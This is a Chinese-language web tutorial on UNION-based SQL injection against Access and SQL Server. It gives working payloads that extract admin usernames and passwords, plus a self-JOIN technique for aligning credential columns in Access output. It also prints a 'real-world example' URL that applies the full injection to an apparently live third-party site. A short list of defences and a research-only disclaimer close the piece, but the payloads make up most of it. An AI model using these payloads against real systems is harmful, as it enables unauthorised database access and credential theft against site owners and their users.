首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫

SQL Injection 進階:UNION 注入快速提取 Access 與 SQL Server 敏感資料

     編輯:MySQL 資料庫相關知識

本文深入探討 SQL Injection 中 UNION 注入技巧,示範如何在不知道欄位名稱、錯誤訊息被關閉的情況下,快速從 Access 與 SQL Server 資料庫提取敏感資料(如帳號密碼)。

核心原理:UNION 查詢合併結果集

當兩個 SELECT 查詢的欄位數量相同時,UNION 會將後者結果合併顯示。攻擊者可注入惡意 UNION SELECT,將原本頁面顯示的欄位替換為敏感資料表的內容。

SQL Server 環境實作

假設原查詢:SELECT * FROM Soft WHERE SoftID=3903
注入 Payload:3903 UNION SELECT username,password,1,1,1 FROM admin
若前端頁面顯示第 1、2 個欄位,即會洩露 admin 表的帳號密碼。

不知道欄位名怎麼辦?

使用 * 代替欄位名,配合 1 湊齊欄位數:

UNION SELECT 1,* FROM Admin_UserInfo WHERE username<>''

關鍵在於調整 * 的位置,使其對齊到前端會顯示的欄位位置。

Access 資料庫的特殊挑戰

Access 查詢結果會將 * 代表的欄位永遠放在最後,導致無法像 SQL Server 那樣透過移動 * 位置來對齊顯示欄位。

解決方案:多重 JOIN 自己

透過將同一張表多次 INNER JOIN 自己,展開欄位順序,使敏感欄位落在可見位置:

SELECT 1,* 
FROM (((admin AS a INNER JOIN admin AS b ON a.id=b.id)
       INNER JOIN admin AS c ON c.id=b.id)
       INNER JOIN admin AS d ON d.id=c.id)
       INNER JOIN admin AS e ON e.id=d.id

查詢結果會展開為:1, a.id, a.name, a.pwd, b.id, b.name, b.pwd, ...
第 3、7 欄位即為 username、password,剛好落在前端顯示區塊。

實戰範例網址

https://www.hnp2p.com/mov/view.asp?id=1916 UNION SELECT 1,* FROM 
(((admin AS a INNER JOIN admin AS b ON a.id=b.id)
 INNER JOIN admin AS c ON c.id=b.id)
 INNER JOIN admin AS d ON d.id=c.id)
 INNER JOIN admin AS e ON e.id=d.id

防禦建議

  • 使用參數化查詢
  • 最小權限原則:網站資料庫帳號僅授 SELECT、INSERT 必要權限
  • 關閉詳細錯誤訊息回傳給前端
  • 部署 WAF(Web Application Firewall)
⚠️ 本文僅供安全研究與防禦教學,嚴禁用於非法攻擊。
  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved